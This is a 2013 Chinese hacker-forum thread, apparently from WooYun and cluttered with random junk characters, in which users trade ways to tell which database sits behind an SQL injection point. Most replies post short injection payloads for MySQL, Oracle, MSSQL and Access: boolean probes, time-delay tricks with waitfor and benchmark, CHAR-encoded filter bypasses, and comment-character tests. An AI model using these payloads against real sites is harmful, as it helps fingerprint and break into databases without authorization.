一个注射点如何最快速确认是什么类型数据库
" H) U( M7 _, r4 N' txsser (十根阳具有长短!!) | 2013-02-05 12:36
5 H2 `7 Q/ g/ j3 i Z( @" t% Q, A假设这么一个注射点:
/ f& p6 n, B% p( w D" E* ~+ y/ q( cshow.html?id=21 F% W$ e/ `/ M6 O* l2 F
mysql:id=2 and version()>0+ K* O) D" \& [
oracle:id=2 and '1'||'1'='11
1 p. V) I& I7 C8 _& o4 k: t其他的欢迎补充0 s' d3 \0 o$ r- ^
1#
9 u# N4 I) v6 j2 D* W& |. qupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
4 u6 Y; ^6 V4 P( H& J1 A3 uAccess:# u) x) b: H7 d
aNd aSc(cHr(97))=97
$ S" B" K* Q& ?' W# {& y9 h1 xand exists(select id from MSysAccessObjects)8 f" T2 t' |8 A2 r: u" N
SQL Server:, v/ i) T |8 U. r7 j
and exists(select id from sysobjects)9 X) X9 C% ]0 ~( D0 k6 L
and length(user)>0; \( r% Y0 W! @1 j1 P( e
MySQL:* \1 `# d/ s T
and length(user())>0
) _# v& b+ ?2 T% S/ q2 k* W2#: ~+ e: S& j6 I' r" Y% L
xsser (十根阳具有长短!!) | 2013-02-05 12:48
0 y2 x. J0 D. b$ C3 G2 ~/ m, `@upload 如果这些都不是呢…
8 a) ?2 a( Z1 F0 P% d3#% c. K# b5 z( |
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:036 T5 U. I7 ^5 g
@xsser 不快速的,延时注入% Z+ \9 Z9 |' T2 x( Q, x
不知道这样写对不对9 S( K( i; Z& A" O
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3', R: y7 ]5 ^0 x; @
mysql:id=2 and select benchmark(1e8,current_date());
# y8 r V: m. k6 E; R4#
. `# U" d/ T1 H$ t! U* `8 pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
, c& E6 T& C1 m Q0 ~最快的貌似是看报错信息
8 X% y. ^6 d- Roracle error
3 P- E9 `# m- `2 K/ h* Gmssql error3 p0 `: o; y' s- I3 {7 Y" `# L
mysql error* o' i4 u8 S* h
5#% w8 ?4 i5 [; J
Nimda (你们都是坏银~) | 2013-02-05 13:14
! I4 ?8 f6 z7 M4 _; z% X小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
# N, r! q. X" z) ]5 c, b; a( A6#8 c" |9 w3 v; F% Y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
u9 a6 I- Z+ T9 T“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符: ?! G4 ?3 Z. q( c/ y* D) v+ ] Z
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:# W$ e- R9 q9 i. T+ A( }4 z: D8 p
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
6 r4 D3 G* }8 }+ K* `7#
]9 F- ]/ ?; Q; z" Y. C' r& |: `_Evil (HackEnd) | 2013-02-05 13:33) T' b4 m% W5 F
PostgreSQL
* w) c9 t' u" Y2 q8#
) y0 I% M5 w/ f9 z3 \" s: ~upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
% e. f% O$ g" L" m6 ]& t' h切换编码 and 1=15 e( X/ E @) F. P: `$ f
oracle:
2 ~# V3 i; T; h: lCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
+ u6 K L: H- k5 W5 m* rmssql:% c9 e3 W& Z3 K; c w/ |
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)0 @$ U; N2 U5 T
mysql:% d: D) |# R4 D
CHAR(97, 110, 100, 32, 49, 61, 49)
; G0 M* j( G" r! O) w9#" n( @6 D Z2 E1 c" z, |% ~! j
xsser (十根阳具有长短!!) | 2013-02-05 14:31
, @7 e3 D2 b' o- q7 w& z& t@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?5 t( o8 y( {+ c5 F! }% H
10#
( Y/ o$ P/ t( J+ `) ^upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:467 {) f4 ~0 v8 M& l" j- E; x
@xsser 是奇葩数据库类型的么?
0 ^/ x6 j2 M: G% o! `. [' T# ^根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:! Z$ N0 V. A( H+ t
1.是否可以使用特定的函数来判断,该数据库特有的4 y7 r T+ ]& d, T6 h+ t
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
, b+ D# v& o( l% ^3 X( z3.是否可以编码查询
3 P) e& \" Z1 I: I4 N) N" \4.是否显可以利用错信息
3 E+ P8 S/ E" w0 b* H; {3 u5.是否存在数据库某些特性辅助判断1 u# X+ {: j6 u, i2 m1 P
个人见解3 b& [( E9 |8 F! r$ v. n' P
11## \. x# y9 U' u0 a
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
/ r7 \: E7 k8 _8 d已收藏,mssql可以直接看到错误提示的吧~
. ~4 k3 D8 m4 p12#+ [, M# n# F6 ]
Passer_by | 2013-02-05 15:09
/ D* v K$ [3 `, G曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
0 w$ J; \# D% g) g4 G: w- H6 {from:http://zone.wooyun.org/content/260 |